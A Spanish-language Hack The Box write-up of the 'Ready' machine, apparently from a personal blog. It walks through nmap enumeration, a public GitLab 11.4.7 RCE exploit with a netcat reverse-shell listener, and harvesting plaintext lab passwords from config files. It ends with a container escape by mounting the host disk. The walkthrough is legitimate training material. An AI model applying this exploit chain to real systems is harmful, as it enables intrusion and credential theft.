lund@home:~$

Autor: Lund K. S.

HTB_Ready HTB_Ready | Hacker-Blog

HTB_Ready

Ready {-}

Introduccion {-}

La maquina del dia se llama Ready.

El replay del live se puede ver aqui

S4vitaar Ready maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.220

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.220

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.220 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,5080 10.10.10.220 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Conneccion directa usuario y contraseña
5080 http Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.220

Es un nginx con gitlab y nos reporta un redirect al http://10.10.10.220/users/sign_in

Checkear la web {-}

Si entramos en la url http://10.10.10.220:5080 nos redirige automaticamente a la pagina de Sign in de gitlab Community edition. Siendo un gitlab podemos ver el robots.txt.

Vemos routas que pueden ser interesantes como

  • /api

En el caso de la routa /api si tiramos de esta routa con firefox, vemos que necessitamos logearnos para continuar. Pero en ciertos casos, hay possibilidades de poder, de forma no authenticada, obtener informaciones relevantes.

Si buscamos en google por gitlab api, vemos de que manera podemos utilizar la api para recoger informaciones.

curl -s -X GET "http://10.10.10.220:5080/api/v4/version"

Aqui vemos que necessitamos un token y para esto tenemos que crearnos un usuario. Lo hacemos desde la web. Una vez hecho nos podemos loggear y desde la interface de gitlab, si vamos a Settings, nos podemos crear un token. Lo copiamos y lo añadimos a un header con curl.

curl -s -X GET "http://10.10.10.220:5080/api/v4/version" -H "PRIVATE-TOKEN: 514gTTxhx3qpsBbJbfz9" | jq

Aqui vemos que la version de gitlab es la 11.4.7

Vulnerability Assessment {-}

Gitlab {-}

searchsploit gitlab 11.4.7

Aqui vemos exploits que nos permite hacer Remote Code Execution.

Vuln exploit & Gaining Access {-}

Ganando accesso con Gitlab {-}

searchsploit -m 49257
mv 49257.py gitlab_rce.py
vi gitlab_rce.py

Mirando el codigo, vemos que este exploit nos permiteria entablar una reverse shell. Modificamos los datos

  • url de la maquina victima
  • url de la maquina de atacante
  • puerto de escucha
  • usuario gitlab
  • authenticity_token
  • cookie de session.

El valor del authenticity token se puede encontrar en el codigo fuente de la pagina de gitlab. El valor del cookie de session se puede ver en la pagina de gitlab dandole a Ctrl+Shift+c > Almacenamiento y podemos ver el _gitlab_session

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. Lanzamos el script con el commando python3 gitlab_rce.py

whoami
#Output
git

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Podemos ir al directorio /home/dude y visualizar la flag

Privilege Escalation {-}

Rootear la maquina {-}

cd /root
id
sudo -l
echo $PATH
cd /
find \-perm -4000 2>/dev/null
hostname -I
hostname

Aqui podemos ver que el comando hostname -I nos da una ip que no es la ip de la maquina victima. Estamos en un contenedor

Escapar del contenedor {-}

cd /
ls -la
cd /opt
ls -l

Vemos un fichero /root_pass en la raiz, y en el directorio opt vemos un directorio backup y gitlab.

cat /root_pass
#Output
YG65407Bjqvv9A0a8Tm_7w

su root
Password: YG65407Bjqvv9A0a8Tm_7w

su dude
Password: YG65407Bjqvv9A0a8Tm_7w

No es una contraseña.

cd /opt
ls 
cd /backup
ls -l

cat docker-compose.yml
cat gitlab-secrets.json
cat gitlab-secrets.json | grep "pass"
cat gitlab-secrets.json | grep "user"
cat gitlab.rb
cat gitlab.rb | grep "pass"

Hay mucha informacion en estos ficheros. El gitlab.rb contiene un password para el servicio smtp.

su root
Password: wW59U!ZKMbG9+*#h
whoami
#Output
root

Emos podido passar al usuario root pero del contenedor. Aqui algo que todavia suena turbio es este fichero root_pass. Buscamos en los ficheros la coincidencias de este fichero

grep -r -i "root_pass" 2>/dev/null

Aqui vemos un /dev/sda2 que parece montado sobre un root_pass

df -h
fdisk -l

Aqui vemos que en /dev/sda2 hay un linux filesystem de 18G que se monta directamente con /root_pass. Vamos a intentar montarlo.

mkdir /mnt/mounted
mount /dev/sda2 /mnt/mounted
ls -l
cd /root
cat root.txt

Ademas podemos connectarnos como root directamente a la maquina victima con ssh porque tenemos accesso a la id_rsa del usuario root de la maquina victima.